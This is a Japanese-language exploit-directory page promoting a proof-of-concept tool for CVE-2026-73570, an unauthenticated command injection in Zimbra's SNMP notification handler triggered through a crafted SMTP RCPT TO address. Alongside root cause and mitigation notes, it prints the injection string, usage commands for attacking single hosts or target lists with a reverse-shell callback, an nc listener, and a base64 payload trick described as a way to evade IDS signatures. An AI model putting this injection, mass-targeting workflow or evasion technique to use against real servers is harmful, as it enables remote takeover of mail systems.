Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-73570 — Zimbra SNMP通知 OSコマンドインジェクション — SMTPエクスプロイトを介した未認証RCE(PoC) | Kitploit
ツール/GitHubGitHub/gabrielunknown/cve-2026-73570
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP通知 OSコマンドインジェクション — SMTPエクスプロイトを介した未認証RCE(PoC)

リポジトリを見る
41971ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-73570 — Zimbra ZCS SNMP通知ハンドラのRCEエクスプロイト (PoC)

Zimbra Collaboration SuiteのSNMP通知ハンドラにおけるOSコマンドインジェクションによる未認証のリモートコード実行。


概要

項目値
CVECVE-2026-73570
CVSS 3.18.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — OSコマンドに使用される特殊要素の不適切な中和
影響を受けるバージョンZimbra ZCS < 10.1.20 (zimbra-snmpがインストールされている場合)
修正バージョンZCS 10.1.20 — 2026年7月
CISA KEV2026-08-21に追加 (FCEBの修復期限: 2026-08-24)
認証要否不要
実行権限zimbra OSユーザー

根本原因

オプションのzimbra-snmpパッケージには、/var/log/zimbra.logを監視し、以下のパターンに一致する行を検出するswatchdogルールが含まれています:

Service status change: <NAME> changed from <STATE> to <STATE>

一致が見つかると、swatchdog はキャプチャした <NAME> フィールドを一切のサニタイズを行わずに SNMP 通知シェルスクリプトへ直接渡します。

認証されていない攻撃者は、特別に細工された SMTP の RCPT TO コマンドを送信することで、巧妙に作成したログエントリを注入できます。RFC 5321 の引用符付きローカルパートを使用すると、シェルメタ文字(例: $(...))が <NAME> 内に埋め込まれ、swatchdog が結果のログ行を処理する際に実行されます。


前提条件

脆弱性が悪用可能となるには、対象上で次の 3 つの条件がすべて真である必要があります:

  • zimbra-snmp パッケージがインストールされている
  • SNMP 通知が有効になっている (snmp_notify = true)
  • swatchdog サービスが実行中である

攻撃フロー

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. ポート 25 / 465 / 587 に接続します。
  2. 武器化された RCPT TO を含む標準的な SMTP 会話を送信します。
  3. Zimbra は accept/reject に関係なくアドレスデータをログに記録します。
  4. swatchdog がログパターンにマッチし、注入された $(CMD) を抽出します。
  5. SNMP ハンドラが zimbra OS ユーザーとして CMD を実行します。

Exploit

Requirements

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

または apt-get 経由で

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

または yum 経由で

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

単一ターゲット

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

ターゲットリスト

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — 1行に1ホスト、任意で :port を指定可能、# で始まる行は無視されます:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

すべてのオプション

フラグロングデフォルト説明
-H--host—単一のターゲットホスト名または IP
-f--file—ターゲットリストを含むファイル
-p--port587デフォルトの SMTP ポート
-r--rhost—リバースシェルコールバック用のあなたの IP
-R--rport4444リスナーポート
-t--timeout15ソケットタイムアウト(秒)
-S--sslオフ直接 TLS(ポート 465 で自動有効化)
-v--verboseオフSMTP ダイアログ全体を表示
-L--logfile—セッションログをファイルに書き込む
-h--help—ヘルプを表示

完全な例

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

ペイロード手法

リバースシェルコマンドは、インジェクションの前に base64 エンコード されます:

echo <b64>|base64 -d|bash

これにより、IDS/IPS が /dev/tcp、bash -i、nc -e などの平文シグネチャにマッチングできなくなります。エンコードされた blob は RCPT TO の引用符で囲まれたローカルパート内に $(...) として注入され、swatchdog がログエントリを処理する際にサーバー側で実行がトリガーされます。


緩和策

対応詳細
パッチZimbra ZCS ≥ 10.1.20 にアップグレード
SNMP notify を無効化zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
パッケージを削除apt remove zimbra-snmp / yum remove zimbra-snmp
ネットワーク制御運用上可能な場合、受信 SMTP (25/465/587) を信頼できるリレーに制限

参考資料

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

免責事項

この概念実証は、許可されたセキュリティテスト、学術研究、および防御目的のみのために公開されています。
所有していない、または明示的な書面による許可を得ていないシステムに対して実行することは違法です。
作者は、このツールによるいかなる悪用や損害についても責任を負いません。


ツールをダウンロード